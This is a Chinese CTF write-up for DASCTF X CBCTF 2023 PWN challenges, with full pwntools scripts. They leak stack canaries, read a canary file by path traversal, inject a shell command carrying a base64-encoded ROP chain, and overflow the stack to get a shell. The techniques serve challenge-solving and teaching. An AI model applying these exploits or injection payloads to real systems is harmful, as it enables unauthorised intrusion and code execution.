DASCTF X CBCTF 2023|无畏者先行 [PWN] WP
DASCTF X CBCTF 2023|无畏者先行 [PWN] WP
1.GuestBook
题目保护情况 开启canary,nx保护

64位ida载入 首先可以通过输入0x18个垃圾数据可以通过打印泄露出canary

这里至多有四次输入机会每次都可以溢出,但是有00截断

程序存在后门

思路:1.通过打印泄露出canary
2.由于canary的00截断,第一溢出到返回地址并修改返回地址,(注意此时canary的末为不能为0,返回地址也有截断)
3.第二次溢出到canary通过00截断把canary复原
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./GuestBook')
io.recvuntil(' name:')
payload = b'a'*0x10 + b'b'*0x8
#gdb.attach(io)
magic = 0x4012c3
io.sendline(payload)
io.recvuntil('\n')
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary----->'+hex(canary))
io.recvuntil('(MAX 4):')
io.sendline('2')
payload = b'a'*0x98 + p64(canary+ord('a')) + b'a'*8 + b'\xc3\x12\x40'
gdb.attach(io)
io.sendline(payload)
payload = b'a'*0x78 + p64(canary)
#gdb.attach(io)
io.sendline(payload)
io.interactive()
2.EASYBOX
题目保护情况 同样是canary,和nx开启

64位ida载入

通过ida和运行可以看见是一个类似于shell的东西,有几个选项可以选,来一个一个分析
,
PING操作,可以把我们输入的东西拼接在命令里面执行并放入result.txt文件里面

但是做了过滤所以并不能直接读取flag

CAT操作,可以查看文件,这里有两个漏洞

前面知道canary存在/secret/canary.txt文件中,上面那个漏洞可以实现跨目录读取canary

思路:1.通过目录穿越读取canary
2.通过PING,把ROP链写入result.txt文件中,因为有截断,可以通过base64把rop链编码,然后通过linux命令实现base64解码
3.通过栈溢出获取shell
EXP:
from pwn import *
import base64
context(log_level='debug',arch='amd64',os='linux')
io = remote('node5.buuoj.cn',25438)
io.sendlineafter('name:','aaaa')
io.recvuntil('/home/ctf')
payload = 'CAT'
io.sendline(payload)
io.recvuntil('view:')
payload = '../../secret/canary.txt'
io.sendline(payload)
canary = int(io.recvline(),16)
success('canary----->'+hex(canary))
pop_rdi = 0x0000000000401ce3 #: pop rdi ; ret
system = 0x401230
sh = 0x402090
ret = 0x401C77
ROPpayload = b'a'*0x48 + p64(canary) + b'A'*8 + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system)
ROPpayload = base64.b64encode(ROPpayload)
payload = b"666;echo '" + ROPpayload +b"'| base64 -d"
io.sendlineafter('/home/ctf','PING')
io.recvuntil('address:')
io.sendline(payload)
io.sendlineafter('/home/ctf','CAT')
io.sendlineafter('view:','result.txt')
io.interactive()
3.Binding
这个题目有多种解法通过下一篇单独讲解一下
DASCTF X CBCTF 2023|无畏者先行 [PWN] WP的更多相关文章
- [复现]DASCTF Sept X 浙江工业大学秋季挑战赛-PWN
hehepwn 一开始泄露stack地址,然后写入shellcode返回到shellcode执行 from pwn import * context.os = 'linux' context.log_ ...
- 2021能源PWN wp
babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...
- bugku - pwn wp
一. PWN1 题目:nc 114.116.54.89 10001 1. 直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 1 ...
- 周练7(ssti)
{7*7} ->49 -> smarty {{7*'7'}} -> 49 -> twig {{7*'7'}} -> 7777777 -> jinjia2 1. [B ...
- 【pwn】DASCTF Sept 九月赛
[pwn]DASCTF Sept 月赛 1.hehepwn 先查看保护,栈可执行,想到shellcode 这题需要注意shellcode的写法 拖入ida中分析 一直以为iso scanf不能栈溢出, ...
- [复现]2021 DASCTF X BUUOJ 五月大联动-PWN
[复现]2021 DASCTF X BUUOJ 五月大联动 由于我没ubuntu16就不复现第一个题了,直接第二个 正常的off by one from pwn import * context.os ...
- DASCTF NOV X联合出题人-PWN
太忙了,下午4点才开始做,,剩下的以后补上 签个到 逻辑很简单两个功能的堆,一个就是申请heap.还有一个是检验如果校验通过就会得到flag 申请模块 中间0x886是个很恶心的东西,需要我们绕过 ...
- 躬身入局,干货分享,2023年春招后端技术岗(Python)面试实战教程,Offer今始为君发
早春二月,研发倍忙,杂花生树,群鸥竟飞.为什么?因为春季招聘,无论是应届生,还是职场老鸟,都在摩拳擦掌,秣马厉兵,准备在面试场上一较身手,既分高下,也决Offer,本次我们打响春招第一炮,躬身入局,让 ...
- 移动先行之谁主沉浮? 带着你的Net飞奔吧!
移动系源码:https://github.com/dunitian/Windows10 移动系文档:https://github.com/dunitian/LoTDotNet/tree/master/ ...
- 04.移动先行之谁主沉浮----XAML的探索
如果移动方向有任何问题请参考===> 异常处理汇总-移动系列(点) 移动先行之谁主沉浮? 带着你的Net飞奔吧! 链接======>(点) XMAL引入 XAML 类似于 HTML,是一种 ...
随机推荐
- 好玩的vue组件
https://gitee.com/zheng_yongtao/jyeontu-component-warehouse 推荐这个大佬,很厉害悬浮按钮 评论组件 词云 瀑布流照片容器 视频动态封面 3D ...
- 京东面试:SpringBoot同时可以处理多少请求?
Spring Boot 作为 Java 开发中必备的框架,它为开发者提供了高效且易用的开发工具,所以和它相关的面试题自然也很重要,咱们今天就来看这道经典的面试题:SpringBoot同时可以处理多少个 ...
- swagger 的配置
1,开启swagger : c.IncludeXmlComments(GetXmlCommentsPath()); protected static string GetXmlCommentsPath ...
- Composer 的下载与安装
一,Composer 的下载与安装 官网下载:https://getcomposer.org/download/ 打开 penssl的注释,在 D:\wamp\php7230\php.ini 文 ...
- MFC之ListControl选中行删除
if (m_list.GetSelectedCount() > 0) { POSITION pos= m_list.GetFirstSelectedItemPosition(); while ( ...
- 在 Inno Setup iss 打包过程 中检测 .NET 6 / .net 5 / .NET Core 运行环境是否存在或已安装
为了将 .NET 5 / .NET Core 应用程序部署到客户机,我们可以编写 Inno Setup 代码来判断客户机是否安装了必要的运行环境..NET 官方仓库 中提供了一个名为 NetCoreC ...
- jenkins任务构建
创建一个Jenkins任务并构建项目: 这个项目名称只要确定,它就会在 /var/lib/jenkins/jobs/ 生成一个 freestyle 的目录,如果需要删除,删除了就需要重启Jenkins ...
- RTOS入门
RTOS是什么? RTOS是一款操作系统,相当于Windows\Linux 分为ucos FreeRTOS RT-Thread LiteOS 比裸机开发的优势在于,多任务系统,不必串行 临界区 临界区 ...
- VmWare虚拟机和主机配置为同一网段IP
参考博客:将虚拟机IP与主机IP设置在同一网段的方法 - 天懿 - 博客园 (cnblogs.com) 主机地址 主机通过WiFi连接,地址信息为: 虚拟机配置 选择编辑-->虚拟网络编辑器-- ...
- NFS练习
NFS练习题 1.开放/nfs/share目录,提供给 任意用户 只读(/etc/exports ro) 查询 1.任意客户端2.任意的用户 服务端 showmout exportfs system ...